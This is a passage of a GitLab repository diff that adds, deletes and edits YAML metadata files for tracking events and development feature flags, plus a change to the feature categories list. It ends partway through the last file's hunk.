diff --git a/config/events/incident_management__zoom_integration_add_zoom_meeting.yml b/config/events/incident_management__zoom_integration_add_zoom_meeting.yml
new file mode 100644
index 00000000000..7b9331d3244
--- /dev/null
+++ b/config/events/incident_management__zoom_integration_add_zoom_meeting.yml
@@ -0,0 +1,18 @@
+description: Add Zoom meeting
+category: IncidentManagement::ZoomIntegration
+action: add_zoom_meeting
+label_description: The string "Issue ID"
+property_description:
+value_description: ID of the issue
+extra_properties:
+identifiers:
+product_section: ops
+product_stage: monitor
+product_group: monitor
+product_category:
+milestone: "12.4"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/18620
+distributions:
+- ce
+tiers:
+- free
diff --git a/config/events/incident_management__zoom_integration_remove_zoom_meeting.yml b/config/events/incident_management__zoom_integration_remove_zoom_meeting.yml
new file mode 100644
index 00000000000..5abc1b8bbc7
--- /dev/null
+++ b/config/events/incident_management__zoom_integration_remove_zoom_meeting.yml
@@ -0,0 +1,18 @@
+description: Remove Zoom meeting
+category: IncidentManagement::ZoomIntegration
+action: remove_zoom_meeting
+label_description: The string "Issue ID"
+property_description:
+value_description: ID of the issue
+extra_properties:
+identifiers:
+product_section: ops
+product_stage: monitor
+product_group: monitor
+product_category:
+milestone: "12.4"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/18620
+distributions:
+- ce
+tiers:
+- free
diff --git a/config/events/list_repositories_container.yml b/config/events/list_repositories_container.yml
new file mode 100644
index 00000000000..ec3775cb9f8
--- /dev/null
+++ b/config/events/list_repositories_container.yml
@@ -0,0 +1,18 @@
+description: List container repositories
+category: list_repositories
+action: container
+label_description:
+property_description:
+value_description:
+extra_properties:
+identifiers:
+product_section: ops
+product_stage: package
+product_group: package
+product_category:
+milestone: "13.6"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/44926
+distributions:
+- ce
+tiers:
+- free
diff --git a/config/events/notes__create_service_execute.yml b/config/events/notes__create_service_execute.yml
new file mode 100644
index 00000000000..39c24f05551
--- /dev/null
+++ b/config/events/notes__create_service_execute.yml
@@ -0,0 +1,18 @@
+description: Create note
+category: Notes::CreateService
+action: execute
+label_description: One of "anonymous_visual_review_note", "note"
+property_description:
+value_description: ID of the note
+extra_properties:
+identifiers:
+product_section: ops
+product_stage: verify
+product_group: testing
+product_category:
+milestone: "12.5"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/18890
+distributions:
+- ce
+tiers:
+- free
diff --git a/config/events/package_class_pull_package.yml b/config/events/package_class_pull_package.yml
new file mode 100644
index 00000000000..2a35ce0dd3a
--- /dev/null
+++ b/config/events/package_class_pull_package.yml
@@ -0,0 +1,18 @@
+description: Get package
+category: package class
+action: pull_package
+label_description:
+property_description:
+value_description:
+extra_properties:
+identifiers:
+product_section: ops
+product_stage: package
+product_group: package
+product_category:
+milestone: "13.5"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/41846
+distributions:
+- ce
+tiers:
+- free
diff --git a/config/events/package_class_push_package.yml b/config/events/package_class_push_package.yml
new file mode 100644
index 00000000000..26945c7cb9e
--- /dev/null
+++ b/config/events/package_class_push_package.yml
@@ -0,0 +1,18 @@
+description: Package registered
+category: package class
+action: push_package
+label_description:
+property_description:
+value_description:
+extra_properties:
+identifiers:
+product_section: ops
+product_stage: package
+product_group: package
+product_category:
+milestone: "13.5"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/41846
+distributions:
+- ce
+tiers:
+- free
diff --git a/config/events/projects__registry__repositories_controller_delete_repository.yml b/config/events/projects__registry__repositories_controller_delete_repository.yml
new file mode 100644
index 00000000000..44c769a03a0
--- /dev/null
+++ b/config/events/projects__registry__repositories_controller_delete_repository.yml
@@ -0,0 +1,18 @@
+description: Delete project repository
+category: Projects::Registry::RepositoriesController
+action: delete_repository
+label_description:
+property_description:
+value_description:
+extra_properties:
+identifiers:
+product_section: ops
+product_stage: package
+product_group: package
+product_category:
+milestone: "13.5"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/41846
+distributions:
+- ce
+tiers:
+- free
diff --git a/config/events/projects__registry__repositories_controller_list_repositories.yml b/config/events/projects__registry__repositories_controller_list_repositories.yml
new file mode 100644
index 00000000000..6dc67091a9a
--- /dev/null
+++ b/config/events/projects__registry__repositories_controller_list_repositories.yml
@@ -0,0 +1,18 @@
+description: List project repositories
+category: Projects::Registry::RepositoriesController
+action: list_repositories
+label_description:
+property_description:
+value_description:
+extra_properties:
+identifiers:
+product_section: ops
+product_stage: package
+product_group: package
+product_category:
+milestone: "13.5"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/41846
+distributions:
+- ce
+tiers:
+- free
diff --git a/config/events/projects__registry__tags_controller_delete_tag.yml b/config/events/projects__registry__tags_controller_delete_tag.yml
new file mode 100644
index 00000000000..73bee5f7318
--- /dev/null
+++ b/config/events/projects__registry__tags_controller_delete_tag.yml
@@ -0,0 +1,18 @@
+description: Delete project tag
+category: Projects::Registry::TagsController
+action: delete_tag
+label_description:
+property_description:
+value_description:
+extra_properties:
+identifiers:
+product_section: ops
+product_stage: package
+product_group: package
+product_category:
+milestone: "13.5"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/41846
+distributions:
+- ce
+tiers:
+- free
diff --git a/config/events/projects__registry__tags_controller_delete_tag_bulk.yml b/config/events/projects__registry__tags_controller_delete_tag_bulk.yml
new file mode 100644
index 00000000000..715e3549ed3
--- /dev/null
+++ b/config/events/projects__registry__tags_controller_delete_tag_bulk.yml
@@ -0,0 +1,18 @@
+description: Delete project tag in bulk
+category: Projects::Registry::TagsController
+action: delete_tag_bulk
+label_description:
+property_description:
+value_description:
+extra_properties:
+identifiers:
+product_section: ops
+product_stage: package
+product_group: package
+product_category:
+milestone: "13.5"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/41846
+distributions:
+- ce
+tiers:
+- free
diff --git a/config/events/projects__registry__tags_controller_list_tags.yml b/config/events/projects__registry__tags_controller_list_tags.yml
new file mode 100644
index 00000000000..5b655ee6c39
--- /dev/null
+++ b/config/events/projects__registry__tags_controller_list_tags.yml
@@ -0,0 +1,18 @@
+description: List project registry tags
+category: Projects::Registry::TagsController
+action: list_tags
+label_description:
+property_description:
+value_description:
+extra_properties:
+identifiers:
+product_section: ops
+product_stage: package
+product_group: package
+product_category:
+milestone: "13.5"
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/41846
+distributions:
+- ce
+tiers:
+- free
diff --git a/config/feature_categories.yml b/config/feature_categories.yml
index ad2cecc2f9b..982b512cd9a 100644
--- a/config/feature_categories.yml
+++ b/config/feature_categories.yml
@@ -17,6 +17,7 @@
- auto_devops
- backup_restore
- boards
+- build_artifacts
- chatops
- cloud_native_installation
- cluster_cost_management
@@ -89,6 +90,7 @@
- package_registry
- pages
- performance_testing
+- pipeline_abuse_prevention
- pipeline_authoring
- planning_analytics
- privacy_control_center
@@ -110,6 +112,7 @@
- self_monitoring
- serverless
- service_desk
+- service_ping
- sharding
- snippets
- source_code_management
@@ -127,7 +130,6 @@
- value_stream_management
- vulnerability_database
- vulnerability_management
-- web_firewall
- web_ide
- wiki
- workflow_automation
diff --git a/config/feature_flags/development/add_timezone_to_web_operations.yml b/config/feature_flags/development/add_timezone_to_web_operations.yml
new file mode 100644
index 00000000000..75edb63e4fd
--- /dev/null
+++ b/config/feature_flags/development/add_timezone_to_web_operations.yml
@@ -0,0 +1,8 @@
+---
+name: add_timezone_to_web_operations
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/64084
+rollout_issue_url: https://gitlab.com/gitlab-org/gitaly/-/issues/3655
+milestone: '14.1'
+type: development
+group: group::gitaly
+default_enabled: false
diff --git a/config/feature_flags/development/allow_archive_as_web_access_format.yml b/config/feature_flags/development/allow_archive_as_web_access_format.yml
new file mode 100644
index 00000000000..8f5d8101316
--- /dev/null
+++ b/config/feature_flags/development/allow_archive_as_web_access_format.yml
@@ -0,0 +1,8 @@
+---
+name: allow_archive_as_web_access_format
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/64471
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/334944
+milestone: '14.1'
+type: development
+group: group::release
+default_enabled: false
diff --git a/config/feature_flags/development/api_caching_rate_limit_repository_compare.yml b/config/feature_flags/development/api_caching_rate_limit_repository_compare.yml
new file mode 100644
index 00000000000..81200aff786
--- /dev/null
+++ b/config/feature_flags/development/api_caching_rate_limit_repository_compare.yml
@@ -0,0 +1,8 @@
+---
+name: api_caching_rate_limit_repository_compare
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/64407
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/334264
+milestone: '14.1'
+type: development
+group: group::source code
+default_enabled: true
diff --git a/config/feature_flags/development/approvals_commented_by.yml b/config/feature_flags/development/approvals_commented_by.yml
deleted file mode 100644
index 55619b0e2db..00000000000
--- a/config/feature_flags/development/approvals_commented_by.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: approvals_commented_by
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/38136
-rollout_issue_url:
-milestone: '13.3'
-type: development
-group: group::source code
-default_enabled: true
diff --git a/config/feature_flags/development/block_external_fork_network_mirrors.yml b/config/feature_flags/development/block_external_fork_network_mirrors.yml
index 81ff34a3d6e..8c313bc9273 100644
--- a/config/feature_flags/development/block_external_fork_network_mirrors.yml
+++ b/config/feature_flags/development/block_external_fork_network_mirrors.yml
@@ -5,4 +5,4 @@ rollout_issue_url:
milestone: '14.0'
type: development
group: group::source code
-default_enabled: false
+default_enabled: true
diff --git a/config/feature_flags/development/cached_markdown_blob.yml b/config/feature_flags/development/cached_markdown_blob.yml
deleted file mode 100644
index fcca7f89537..00000000000
--- a/config/feature_flags/development/cached_markdown_blob.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: cached_markdown_blob
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/44300
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/263406
-milestone: '13.5'
-type: development
-group: group::source code
-default_enabled: true
diff --git a/config/feature_flags/development/cancel_pipelines_prior_to_destroy.yml b/config/feature_flags/development/cancel_pipelines_prior_to_destroy.yml
new file mode 100644
index 00000000000..9b3676b7bf3
--- /dev/null
+++ b/config/feature_flags/development/cancel_pipelines_prior_to_destroy.yml
@@ -0,0 +1,8 @@
+---
+name: cancel_pipelines_prior_to_destroy
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/65586
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/335338
+milestone: '14.1'
+type: development
+group: group::continuous integration
+default_enabled: false
diff --git a/config/feature_flags/development/cascading_namespace_settings.yml b/config/feature_flags/development/cascading_namespace_settings.yml
deleted file mode 100644
index d638f457515..00000000000
--- a/config/feature_flags/development/cascading_namespace_settings.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: cascading_namespace_settings
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/55678
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/327230
-milestone: '13.11'
-type: development
-group: group::access
-default_enabled: true
diff --git a/config/feature_flags/development/ci_artifacts_exclude.yml b/config/feature_flags/development/ci_artifacts_exclude.yml
deleted file mode 100644
index 172fe751dfe..00000000000
--- a/config/feature_flags/development/ci_artifacts_exclude.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: ci_artifacts_exclude
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/30708
-rollout_issue_url:
-milestone: '13.0'
-type: development
-group: group::pipeline execution
-default_enabled: true
diff --git a/config/feature_flags/development/ci_build_finished_worker_namespace_changed.yml b/config/feature_flags/development/ci_build_finished_worker_namespace_changed.yml
new file mode 100644
index 00000000000..3b25bc1ed39
--- /dev/null
+++ b/config/feature_flags/development/ci_build_finished_worker_namespace_changed.yml
@@ -0,0 +1,8 @@
+---
+name: ci_build_finished_worker_namespace_changed
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/64934
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/335499
+milestone: '14.1'
+type: development
+group: group::pipeline execution
+default_enabled: false
diff --git a/config/feature_flags/development/ci_build_metadata_config.yml b/config/feature_flags/development/ci_build_metadata_config.yml
index 2caf8be7187..774b3f8fdc7 100644
--- a/config/feature_flags/development/ci_build_metadata_config.yml
+++ b/config/feature_flags/development/ci_build_metadata_config.yml
@@ -1,7 +1,7 @@
---
name: ci_build_metadata_config
introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/7238
-rollout_issue_url:
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/330954
milestone: '11.7'
type: development
group: group::pipeline execution
diff --git a/config/feature_flags/development/ci_drop_new_builds_when_ci_quota_exceeded.yml b/config/feature_flags/development/ci_drop_new_builds_when_ci_quota_exceeded.yml
deleted file mode 100644
index 0bd83b56609..00000000000
--- a/config/feature_flags/development/ci_drop_new_builds_when_ci_quota_exceeded.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: ci_drop_new_builds_when_ci_quota_exceeded
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/61166
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/326709
-milestone: '14.0'
-type: development
-group: group::pipeline execution
-default_enabled: false
diff --git a/config/feature_flags/development/ci_fix_pipeline_status_for_dag_needs_manual.yml b/config/feature_flags/development/ci_fix_pipeline_status_for_dag_needs_manual.yml
deleted file mode 100644
index ac8b7a5300e..00000000000
--- a/config/feature_flags/development/ci_fix_pipeline_status_for_dag_needs_manual.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: ci_fix_pipeline_status_for_dag_needs_manual
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/53476
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/321972
-milestone: '13.10'
-type: development
-group: group::pipeline authoring
-default_enabled: true
diff --git a/config/feature_flags/development/ci_job_jwt.yml b/config/feature_flags/development/ci_job_jwt.yml
index ef2f43175ed..3ce97c6334c 100644
--- a/config/feature_flags/development/ci_job_jwt.yml
+++ b/config/feature_flags/development/ci_job_jwt.yml
@@ -4,5 +4,5 @@ introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/28063
rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/207125
milestone: '12.10'
type: development
-group: group::release
+group: group::configure
default_enabled: true
diff --git a/config/feature_flags/development/ci_job_trace_force_encode.yml b/config/feature_flags/development/ci_job_trace_force_encode.yml
new file mode 100644
index 00000000000..c69dc3437b1
--- /dev/null
+++ b/config/feature_flags/development/ci_job_trace_force_encode.yml
@@ -0,0 +1,8 @@
+---
+name: ci_job_trace_force_encode
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/64631
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/333452
+milestone: '14.1'
+type: development
+group: group::verify
+default_enabled: true
diff --git a/config/feature_flags/development/ci_jobs_trace_size_limit.yml b/config/feature_flags/development/ci_jobs_trace_size_limit.yml
new file mode 100644
index 00000000000..c66a4aa9a22
--- /dev/null
+++ b/config/feature_flags/development/ci_jobs_trace_size_limit.yml
@@ -0,0 +1,8 @@
+---
+name: ci_jobs_trace_size_limit
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/65349
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/335259
+milestone: '14.1'
+type: development
+group: group::pipeline execution
+default_enabled: false
diff --git a/config/feature_flags/development/ci_jwt_signing_key.yml b/config/feature_flags/development/ci_jwt_signing_key.yml
index 021f4e49e41..7d96264e25f 100644
--- a/config/feature_flags/development/ci_jwt_signing_key.yml
+++ b/config/feature_flags/development/ci_jwt_signing_key.yml
@@ -4,5 +4,5 @@ introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/34249
rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/258546
milestone: '13.6'
type: development
-group: group::release
+group: group::configure
default_enabled: true
diff --git a/config/feature_flags/development/ci_pending_builds_maintain_shared_runners_data.yml b/config/feature_flags/development/ci_pending_builds_maintain_shared_runners_data.yml
new file mode 100644
index 00000000000..5a8b89edfad
--- /dev/null
+++ b/config/feature_flags/development/ci_pending_builds_maintain_shared_runners_data.yml
@@ -0,0 +1,8 @@
+---
+name: ci_pending_builds_maintain_shared_runners_data
+introduced_by_url:
+rollout_issue_url:
+milestone: '14.1'
+type: development
+group: group::pipeline execution
+default_enabled: false
diff --git a/config/feature_flags/development/ci_pending_builds_queue_join.yml b/config/feature_flags/development/ci_pending_builds_queue_join.yml
deleted file mode 100644
index bfdcff4fe4a..00000000000
--- a/config/feature_flags/development/ci_pending_builds_queue_join.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: ci_pending_builds_queue_join
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/62195
-rollout_issue_url:
-milestone: '13.12'
-type: development
-group: group::pipeline execution
-default_enabled: false
diff --git a/config/feature_flags/development/ci_pending_builds_queue_source.yml b/config/feature_flags/development/ci_pending_builds_queue_source.yml
new file mode 100644
index 00000000000..19672aff290
--- /dev/null
+++ b/config/feature_flags/development/ci_pending_builds_queue_source.yml
@@ -0,0 +1,8 @@
+---
+name: ci_pending_builds_queue_source
+introduced_by_url:
+rollout_issue_url:
+milestone: '14.0'
+type: development
+group: group::pipeline execution
+default_enabled: false
diff --git a/config/feature_flags/development/ci_pipeline_latest.yml b/config/feature_flags/development/ci_pipeline_latest.yml
deleted file mode 100644
index 42ff8852305..00000000000
--- a/config/feature_flags/development/ci_pipeline_latest.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: ci_pipeline_latest
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/34160
-rollout_issue_url:
-milestone: '13.2'
-type: development
-group: group::pipeline execution
-default_enabled: true
diff --git a/config/feature_flags/development/ci_pipeline_status_omit_commit_sha_in_cache_key.yml b/config/feature_flags/development/ci_pipeline_status_omit_commit_sha_in_cache_key.yml
deleted file mode 100644
index 5e4299e4409..00000000000
--- a/config/feature_flags/development/ci_pipeline_status_omit_commit_sha_in_cache_key.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: ci_pipeline_status_omit_commit_sha_in_cache_key
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/33712
-rollout_issue_url:
-milestone: '13.2'
-type: development
-group: group::pipeline execution
-default_enabled: true
diff --git a/config/feature_flags/development/ci_reset_bridge_with_subsequent_jobs.yml b/config/feature_flags/development/ci_reset_bridge_with_subsequent_jobs.yml
index c366aac869e..098b3cae2be 100644
--- a/config/feature_flags/development/ci_reset_bridge_with_subsequent_jobs.yml
+++ b/config/feature_flags/development/ci_reset_bridge_with_subsequent_jobs.yml
@@ -5,4 +5,4 @@ rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/329194
milestone: '13.12'
type: development
group: group::pipeline authoring
-default_enabled: false
+default_enabled: true
diff --git a/config/feature_flags/development/ci_runners_tokens_optional_encryption.yml b/config/feature_flags/development/ci_runners_tokens_optional_encryption.yml
deleted file mode 100644
index 147dc2d0ce9..00000000000
--- a/config/feature_flags/development/ci_runners_tokens_optional_encryption.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: ci_runners_tokens_optional_encryption
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/8638
-rollout_issue_url:
-milestone: '11.6'
-type: development
-group: group::pipeline execution
-default_enabled: true
diff --git a/config/feature_flags/development/ci_same_stage_job_needs.yml b/config/feature_flags/development/ci_same_stage_job_needs.yml
new file mode 100644
index 00000000000..a7247320d0d
--- /dev/null
+++ b/config/feature_flags/development/ci_same_stage_job_needs.yml
@@ -0,0 +1,8 @@
+---
+name: ci_same_stage_job_needs
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/59668
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/328253
+milestone: '14.1'
+type: development
+group: group::pipeline authoring
+default_enabled: false
diff --git a/config/feature_flags/development/ci_workflow_rules_variables.yml b/config/feature_flags/development/ci_workflow_rules_variables.yml
deleted file mode 100644
index 427a07c51f6..00000000000
--- a/config/feature_flags/development/ci_workflow_rules_variables.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: ci_workflow_rules_variables
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/52085
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/300997
-milestone: '13.11'
-type: development
-group: group::pipeline authoring
-default_enabled: true
diff --git a/config/feature_flags/development/codequality_mr_diff.yml b/config/feature_flags/development/codequality_mr_diff.yml
deleted file mode 100644
index ca6846b9390..00000000000
--- a/config/feature_flags/development/codequality_mr_diff.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: codequality_mr_diff
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/47938
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/284140
-milestone: '13.7'
-type: development
-group: group::testing
-default_enabled: false
diff --git a/config/feature_flags/development/codequality_mr_diff_annotations.yml b/config/feature_flags/development/codequality_mr_diff_annotations.yml
deleted file mode 100644
index 35fdc8acff8..00000000000
--- a/config/feature_flags/development/codequality_mr_diff_annotations.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: codequality_mr_diff_annotations
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/57926
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/330909
-milestone: '14.0'
-type: development
-group: group::testing
-default_enabled: false
diff --git a/config/feature_flags/development/container_registry_migration_phase1.yml b/config/feature_flags/development/container_registry_migration_phase1.yml
new file mode 100644
index 00000000000..85fbdcfab01
--- /dev/null
+++ b/config/feature_flags/development/container_registry_migration_phase1.yml
@@ -0,0 +1,8 @@
+---
+name: container_registry_migration_phase1
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/63907
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/335703
+milestone: '14.1'
+type: development
+group: group::package
+default_enabled: false
diff --git a/config/feature_flags/development/container_registry_migration_phase1_allow.yml b/config/feature_flags/development/container_registry_migration_phase1_allow.yml
new file mode 100644
index 00000000000..1e8d260c93b
--- /dev/null
+++ b/config/feature_flags/development/container_registry_migration_phase1_allow.yml
@@ -0,0 +1,8 @@
+---
+name: container_registry_migration_phase1_allow
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/63907
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/335705
+milestone: '14.1'
+type: development
+group: group::package
+default_enabled: false
diff --git a/config/feature_flags/development/container_registry_migration_phase1_deny.yml b/config/feature_flags/development/container_registry_migration_phase1_deny.yml
new file mode 100644
index 00000000000..1aa66059045
--- /dev/null
+++ b/config/feature_flags/development/container_registry_migration_phase1_deny.yml
@@ -0,0 +1,8 @@
+---
+name: container_registry_migration_phase1_deny
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/63907
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/335706
+milestone: '14.1'
+type: development
+group: group::package
+default_enabled: false
diff --git a/config/feature_flags/development/datadog_ci_integration.yml b/config/feature_flags/development/datadog_ci_integration.yml
deleted file mode 100644
index 4f8fca4950a..00000000000
--- a/config/feature_flags/development/datadog_ci_integration.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: datadog_ci_integration
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/46564
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/284088
-type: development
-group: group::ecosystem
-default_enabled: false
-milestone: '13.7'
diff --git a/config/feature_flags/development/diffs_batch_render_cached.yml b/config/feature_flags/development/diffs_batch_render_cached.yml
new file mode 100644
index 00000000000..ee2deaa4072
--- /dev/null
+++ b/config/feature_flags/development/diffs_batch_render_cached.yml
@@ -0,0 +1,8 @@
+---
+name: diffs_batch_render_cached
+introduced_by_url: https://gitlab.com/gitlab-org/security/gitlab/-/merge_requests/1509
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/334762
+milestone: '14.1'
+type: development
+group: group::code review
+default_enabled: false
diff --git a/config/feature_flags/development/diffs_gradual_load.yml b/config/feature_flags/development/diffs_gradual_load.yml
deleted file mode 100644
index 05246639069..00000000000
--- a/config/feature_flags/development/diffs_gradual_load.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: diffs_gradual_load
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/48253/
-rollout_issue_url:
-milestone: '13.7'
-type: development
-group: group::code review
-default_enabled: true
diff --git a/config/feature_flags/development/disable_composer_callback.yml b/config/feature_flags/development/disable_composer_callback.yml
deleted file mode 100644
index 93861e50409..00000000000
--- a/config/feature_flags/development/disable_composer_callback.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: disable_composer_callback
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/64016
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/333587
-milestone: '14.0'
-type: development
-group: group::package
-default_enabled: false
diff --git a/config/feature_flags/development/disable_service_templates.yml b/config/feature_flags/development/disable_service_templates.yml
deleted file mode 100644
index 5e9972a2171..00000000000
--- a/config/feature_flags/development/disable_service_templates.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: disable_service_templates
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/59098
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/327436
-milestone: '13.12'
-type: development
-group: group::ecosystem
-default_enabled: true
diff --git a/config/feature_flags/development/drag_comment_selection.yml b/config/feature_flags/development/drag_comment_selection.yml
deleted file mode 100644
index a34d2a6231b..00000000000
--- a/config/feature_flags/development/drag_comment_selection.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: drag_comment_selection
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/49875
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/293945
-milestone: '13.7'
-type: development
-group: group::source code
-default_enabled: true
diff --git a/config/feature_flags/development/erase_traces_from_already_archived_jobs_when_archiving_again.yml b/config/feature_flags/development/erase_traces_from_already_archived_jobs_when_archiving_again.yml
deleted file mode 100644
index a4e18f99349..00000000000
--- a/config/feature_flags/development/erase_traces_from_already_archived_jobs_when_archiving_again.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: erase_traces_from_already_archived_jobs_when_archiving_again
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56353
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/326679
-milestone: "13.11"
-type: development
-group: group::pipeline execution
-default_enabled: true
diff --git a/config/feature_flags/development/escalation_policies_mvc.yml b/config/feature_flags/development/escalation_policies_mvc.yml
deleted file mode 100644
index 21766f9485e..00000000000
--- a/config/feature_flags/development/escalation_policies_mvc.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: escalation_policies_mvc
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/60524
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/329347
-milestone: '13.12'
-type: development
-group: group::monitor
-default_enabled: false
diff --git a/config/feature_flags/development/evalute_protected_tag_for_release_permissions.yml b/config/feature_flags/development/evalute_protected_tag_for_release_permissions.yml
new file mode 100644
index 00000000000..a314c0263ba
--- /dev/null
+++ b/config/feature_flags/development/evalute_protected_tag_for_release_permissions.yml
@@ -0,0 +1,8 @@
+---
+name: evalute_protected_tag_for_release_permissions
+introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/64693
+rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/334368
+milestone: '14.1'
+type: development
+group: group::release
+default_enabled: true
diff --git a/config/feature_flags/development/feature_flag_permissions.yml b/config/feature_flags/development/feature_flag_permissions.yml
deleted file mode 100644
index 48371af5221..00000000000
--- a/config/feature_flags/development/feature_flag_permissions.yml
+++ /dev/null
@@ -1,8 +0,0 @@
----
-name: feature_flag_permissions
-introduced_by_url: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/10096
-rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/254981
-milestone: '11.10'
-type: development
-group: group::release
-default_enabled: false
diff --git a/config/feature_flags/development/fetch_remote_params.yml b/config/feature_flags/development/fetch_remote_params.yml
index 3d0a6d3008e..db6b1a1775d 100644
--- a/config/feature_flags/development/fetch_remote_params.yml
+++ b/config/feature_flags/development/fetch_remote_params.yml
@@ -5,4 +5,4 @@ rollout_issue_url: https://gitlab.com/gitlab-org/gitlab/-/issues/325528
milestone: '13.12'
type: development
group: group::gitaly
-default_enabled: false
+default_enabled: true
diff --git a/config/feature_flags/development/fork_project_form.yml b/config/feature_flags/development/fork_project_form.yml
index 93bccc4f41b..90532c78c8a 100644
--- a/config/feature_flags/development/fork_project_form.yml
+++ b/config/feature_flags/development/fork_project_form.yml
